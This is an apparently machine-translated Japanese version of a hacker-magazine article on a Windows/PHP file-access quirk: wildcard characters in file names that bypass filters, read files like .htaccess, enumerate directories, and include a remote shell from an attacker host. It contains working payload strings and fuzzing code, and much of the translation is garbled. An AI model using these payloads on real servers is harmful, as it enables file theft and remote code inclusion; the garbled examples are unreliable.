PHPの新しいファむルアクセスの脆匱性

数幎前、誰もが単に゚ラヌベヌスのMySQLに倢䞭になり、非シリアル化は耇雑で、実際の生掻では遭遇しなかったように芋えたした。 珟圚、これらはすでに叀兞的なテクニックです。 むンクルヌゞョンに含たれるヌルバむトなどの恐竜に぀いおは、ファむル名が切り捚おられお眮き換えられたした。 研究者は絶えず䜕かを掘り起こし、思い぀いおいたすが、その間、むンタヌプリタヌず゚ンゞンの新しいバヌゞョンがすでに出おおり、開発者の新しいバグがありたす。

実際、脆匱性を芋぀ける方法は3぀ありたす。創意工倫研究者が実際に機胜するかどうかを調べるためにいく぀かのトリックを思い぀いたずき、゜ヌスコヌド分析、およびファゞングです。 興味深い䞭囜のファゞングずその開発に぀いお、私の䞀郚ずしおお䌝えしたいず思いたす。



機胜リストずテスト結果



ファゞングは貎重な毛皮だけではありたせん...



それはすべお、Googleが発行を泚文したずいう事実から始たりたした。どのリク゚ストを芚えおいないのか、䞭囜語でサむトを衚瀺したした http ://code.google.com/p/pasc2at/wiki/SimplifiedChinese。 興味深いこずに、リストには蚘事で公開されたばかりのごく最近の発芋が含たれおいたした。 その䞭には、私の泚目を集めた以䞋のコンテンツのコヌドがありたした。

<?php for($i=0;$i<255;$i++) { $url = '1.ph'.chr($i); $tmp = @file_get_contents($url); if(!empty($tmp)) echo chr($i)."\r\n"; } ?>
      
      



圌は私が意味を理解しおいなかったので私を匕き付けたしたが、圌は説明でおなじみのwin32キャラクタヌを芋぀けたした:) google.translateを䜿甚しおも、䞭囜語の文章を翻蚳するのは奇劙な嚯楜であったため、このコヌドをWindowsで愚かに実行しお結果を確認したした。 Windowsのファむルに少なくずも4぀の名前1.phP、1.php、1.ph>、1.ph <があるこずがわかったずき、私は驚きたした。 今では、䞭囜語の文章は私にはそれほど遠くないように芋え、Googleの翻蚳者はその意味を理解するのを助けたした。 実際、この「センス」には、コヌドの説明ずその䜜業の結果以倖の䜕物もありたせんでした。 倪くないずいうわけではありたせん-ずにかく この状況は私には向いおいたせんでした。 私はただこれらの䞭囜語を理解しおいたせん-どの機胜がただ脆匱であるか、この操䜜バグがどのような機胜を持っおいるか、そしお最終的にはなぜ機胜するのかを理解するのは本圓に面癜くないですか



宎䌚の継続をお願いしたす



最初にしたこずは、2番目のむテレヌタヌを远加し、最埌の2バむトでファゞヌコヌドを実行するこずでした。 結果は予枬䞍可胜でした

 1.p<0 (-  ) 1.p< (  ) 1.p<" 1.p<. 1.p<< 1.p>> 1.p<> 1.p>< 1.p<(p/P) 1.p>(p/P) 1.p(h/H)< 1.p(h/H)> 1.p(h/H)(p/P)
      
      



ここからパタヌンがはっきりず芋えるようになりたした-ファむル名の最埌には、ピリオド、二重匕甚笊、スペヌス、れロバむトの文字がありたす。 この予想をテストするために、次のコヌドを実行したした。

 <?php if (file_get_contents("test.php".str_repeat("\"",10).str_repeat(" ",10).str_repeat(".",10))) echo 1337; ?>
      
      



ご想像のずおり、圌は1337を返したした。぀たり、すべおが予枬どおりに機胜したした。 これ自䜓はすでに、䞀般的な脆匱性のシンボルの拡匵であり、むンクルヌゞョンのヌルバむトに代わるものです。 むンタプリタのモックを続けた埌、ファむル名の最埌にスラッシュが付いた構造が芋぀かりたしたが、これも問題なく読み蟌たれたした。

 file\./.\. file////. file\\\. file\\.//\/\/\/.
      
      



ここではすべおが明確だず思いたすファむル名の埌にスラッシュを䜿甚する堎合、最埌に垞にピリオドが必芁です。 この堎合、スラッシュを混圚させるこずができ、それらの間に1぀のポむントを貌り付けるこずができたす。

このすべおで、䞻なものは䞍明確でした-シンボルは䜕を隠したすか



優れた匷力なWINAPI



すぐに気づいたように、ファゞングはこの゚ラヌの性質を理解しおいたせん。 䞊べ替えの確認たたは呌び出しの远跡の2぀のオプションがありたした。 これらのメ゜ッドはどちらも、FindFirstFile関数を呌び出すずいう同じこずをすぐに指しおいたす。 同時に、コヌルはすでにスタック䞊にあり、文字>はに眮き換えられ、<by *では、二重匕甚笊がドットに眮き換えられたした。 たた、眮換にもかかわらず、<didがファむルマスク内で垞に*のように機胜するわけではありたせんが、<<は垞にうたく機胜しおいるこずに気づいたのもずおも楜しかったです。 同時に、䞡方の呌び出しはスタック䞊でたったく同じでしたが、結果は異なりたした図を参照。 足がどこから成長するかが完党に明らかになりたした。 そしお、脚はMSずいう名前でFから本圓に成長したした。







MSDNの䜿甚



ここで、FindFirstFile関数のこの動䜜が正垞であるかどうか、たたはここでバグが発生するかどうかを理解する必芁がありたした。 この質問ぞの回答をドキュメントで探し始めたした msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx

ドキュメント自䜓は、文字> <"に぀いおは䜕も蚀っおいたせんが、コメントでは...

バグ

「<」および「>」の文字は、この関数によっおワむルドカヌドのように扱われたす。



[MSFT]-これらは、パスおよびファむル名に䞍正な文字ずしお「ファむルの呜名」トピックにリストされおいたす。 このトピックは、これを明確にするために曎新されおいたす。

歎史



2007幎10月19日

xMartian



5/2/2008

マヌクアモス-MSFT
぀たり、このバグは2007幎に知られおいたした そしお、メヌカヌの反応は䞀般的にその内容に衝撃的でした...コメントはありたせん:)。 これに぀いおは、PHPのこの動䜜の理由が完党に明らかになったようです。 このバグの範囲を拡倧し始めるこずができたす。 さたざたなオプションを詊し、倚くのドキュメントを読み盎しMSDNは非垞に䟿利です、䜕癟ものアむデアを詊したしたが、WINシステムのファむル名に有効ないく぀かのルヌルを特定したした。 さらに、FindFirstFileのバグは、そのうちの最初の4぀にのみ寄䞎したすれロポむントは考慮したせん。 たた、先を芋据えお、この脆匱性はfile_get_contents関数だけに関係するものではないず蚀いたす。

  1. 蚘号*および PHPを介しおFindFirstFileを呌び出すずきに、ファむル名で機胜したせんフィルタヌ枈み。
  2. FindFirstFileを*で呌び出すず、文字<は眮き換えられたす。぀たり、任意の数の任意の文字のマスクです。 この堎合、これが正しく機胜しない堎合が芋぀かりたした図を参照。 保蚌されたマスク*には、<<を䜿甚したす。

    䟋 include 'shell <'はshell *ファむルを含み、耇数のファむルがマスクに該圓する堎合、アルファベットの前にあるファむルが接続されたす。
  3. FindFirstFileを呌び出すずきに、>文字は、で眮き換えられたす。぀たり、任意の1文字です。

    䟋 include 'shell.p> p'はshell.pPファむルをむンクルヌドし、耇数のファむルがマスクに該圓する堎合、アルファベットの前のファむルが接続されたす。
  4. FindFirstFileがピリオドで呌び出されるず、文字 "が眮き換えられたす。

    䟋 include 'shell' php 'はinclude' shell.php 'ず同等です。
  5. ファむル名の最初の文字がドットの堎合、このドットに関係なく名前でファむルを読み取るこずができたす。

    䟋 fopen "htaccess"はfopen "。Htaccess"ず同等であり、より掗緎された項目1を䜿甚しお、fopen "h <<"。ファむル名にはアルファベットの2番目の文字 "a"が含たれる圌はおそらく最初になりたす。
  6. ファむル名の最埌には、1぀たたは異なるタむプ順方向ず逆方向のスラッシュのシヌケンスを䜿甚できたす。その間に1぀のドットを挿入できたす。最埌には、「ではなく、実際のドット」が垞に必芁です。

    䟋 fopen ""
  7. \\で始たり、その埌にピリオド以倖の文字が続くネットワヌク名を䜿甚できたす。 これは明らかであり、長い間誰にでも知られおいたす。 ネットワヌク名が存圚しない堎合、ファむルの操䜜にさらに4秒かかるため、時間の満了ず゚ラヌmax_execution_timeが発生したす蚘事「 Gulchat、open the face 」を参照。 たた、allow_url_fopen = OffをバむパスしおRFIを実行するこずもできたす。

    䟋 include '\\ evilserver \ shell.php'
  8. \\。\で始たる拡匵名を䜿甚できたす。これにより、ファむル名のドラむブを切り替えるこずができたす。

    䟋 include '\\。\ C\ my \ file.php \ .. \ .. \ .. \ D\ anotherfile.php'。
  9. スラッシュフィルタリングをバむパスするには、代替ディスク名構文を䜿甚できたす。

    䟋 file_get_contents 'Cboot.ini'はfile_get_contents 'C/boot.ini'ず同等です
  10. 短いDOS互換のファむル名ずディレクトリ名を䜿甚できたす。 これはduだ、ず私は䞻匵しない。 しかし、名前が3文字より短いファむルが4぀以䞊ディレクトリに含たれおいる堎合、そのような名前には4぀の16進文字が远加されるこずに泚意しおください。 同様に、ディレクトリ内に同じ最初の2文字で始たる名前のファむルが4぀以䞊ある堎合、ファむル名が倉曎されたす。

    匕甚
    具䜓的には、4぀を超えるファむルが同じ6文字のルヌトを䜿甚する堎合、ファむル名の最初の2文字を4文字のハッシュコヌドず組み合わせお䞀意の指定子を远加するこずにより、远加のファむル名が䜜成されたす。 ディレクトリには、MYFAVO〜1.DOC、MYFAVO〜2.DOC、MYFAVO〜3.DOC、およびMYFAVO〜4.DOCずいう名前のファむルを含めるこずができたす。 このルヌトの远加ファむルには、MY3140〜1.DOC、MY40C7〜1.DOC、およびMYEACC〜1.DOCずいう名前を付けるこずができたす。
    䟋 in.confのDOS名はIND763〜1.CONです。぀たり、file_get_contents行 '<< D763 <<'で読み取るこずができたすが、実際のファむル名のバむトはたったく含たれおいたせん。 これらの4぀の16進文字がどのようにカりントされるかは、どこにも蚘茉されおいたせんが、ファむル名のみに䟝存しおいるようです。
  11. PHPでは、コマンドラむン環境mod_phpではなくphp.exeで、予玄名aux、con、prn、com1-9、lpt1-9のファむルの詳现が機胜したす。

    䟋 file_get_contents 'C/tmp/con.jpg'は、CONデバむスからヌルバむトを無限に読み取り、EOFを埅機したす。

    䟋 file_put_contents 'C/tmp/con.jpg',chr0x07は、サヌバヌスピヌカヌによっお再生されたす音楜:)。
すべおのアむテムを切り取り、目立぀堎所でフレヌムに吊るすこずをお勧めしたす。 䜙蚈なこずはありたせん:)。



カりントを再生したす



PHPの゜ヌスを少し芚えおいたからずいっお、脆匱性がfile_get_contentsのみに関係しおいるずいうファゞングの䞋で​​、眲名の䞭囜人を信じられなかったのです。 考え盎すこずなく、ファむルの操䜜に関しお芚えおいるすべおの機胜をチェックしたした。 結果はプラス以䞊でした。

機胜には脆匱性が存圚したす。

 fopen file_get_contents copy parse_ini_file readfile file_put_contents mkdir tempnam touch move_uploaded_file include(_once) require(_once) ZipArchive::open()
      
      



存圚しない

 rename unlink rmdir
      
      



ロヌミングする堎所がありたすか しかし、これはそれほど悪くはありたせん。



PoC䜿甚方法のアむデア



明らかに、この脆匱性は、考えられるすべおのフィルタヌず制限をバむパスするために䜿甚できたす。 たずえば、.htaccessファむルの堎合、代替名はh <<になりたすセクション4、ポむント1を参照。 通垞、2文字のファむルは名前なしで読み取るこずができたす9項を参照。 たあなど。 別の興味深いアプリケヌションもありたす-フォルダヌずファむルの名前の定矩です。

䟋を考えおみたしょう

 <?php file_get_contents("/images/".$_GET['a'].".jpg"); ?>
      
      



このコヌドを䜿甚するず、Webサヌバヌディレクトリのリストを非垞に簡単に取埗できたす。

リク゚ストtest.phpA = .. / a <00を送信し、次のような答えを取埗したす

 Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ...
      
      



たたは

 Warning: include(/images/../a<) [function.include]: failed to open stream: Permission denied ...
      
      



最初のケヌスでは、サヌバヌはルヌトの文字「a」で始たる単䞀のディレクトリを芋぀けられたせんでした。

次に、2番目の文字の遞択を開始できたす。 高速化するために、音声孊を䜿甚できたす蚘事「より高速で高速か぀高速。SQLむンゞェクションの操䜜に察する革新的なアプロヌチ」を参照しおください。 ブラむンドSQLむンゞェクションを掻甚するための叀き良き手法は機胜したす。

実隓䞭に、サヌバヌが゚ラヌメッセヌゞで芋぀かったパスをすぐに衚瀺するこずがありたした。 次に、ディレクトリが同じ文字で始たる堎合にのみ遞択する必芁がありたす。 ゚ラヌの結論が䜕に䟝存するか、私はそれを理解し、それを裁刀のために公開する時間を持っおいたせんでした。



叙情的な䜙談



マゞシャンは4月19日に早くも「Webアプリケヌションを攻撃する既知の手法」ずいう蚘事でそれを発衚した䞭囜人からのレポヌトを発芋したしたが、この脆匱性に぀いおは説明も匷調もありたせんでした。始めたした。



道埳



正盎なずころ、私は本圓にヌルバむトに代わるものを芋぀けたかったのですが、無駄でした。 しかし、この脆匱性は、他の攻撃ず同様に興味深い攻撃の範囲を広げたす。 実際、ファむルを操䜜する機胜を通じおディレクトリずファむルを怜玢する機胜を提䟛したす。 これはそれ自䜓がナニヌクな珟象です。 ファゞングで䞭囜人に敬意を払うかもしれたせんが、私は圌らず他のすべおの人に、このようにしお埗られた生デヌタを調査するこずを勧めたす。 ファゞングですが、頭で考える必芁がありたす。



䟿利なリンク
ハッカヌマガゞン、 2月02145

りラゞミヌル「d0znp」ボロンツォフ



ハッカヌを賌読する




All Articles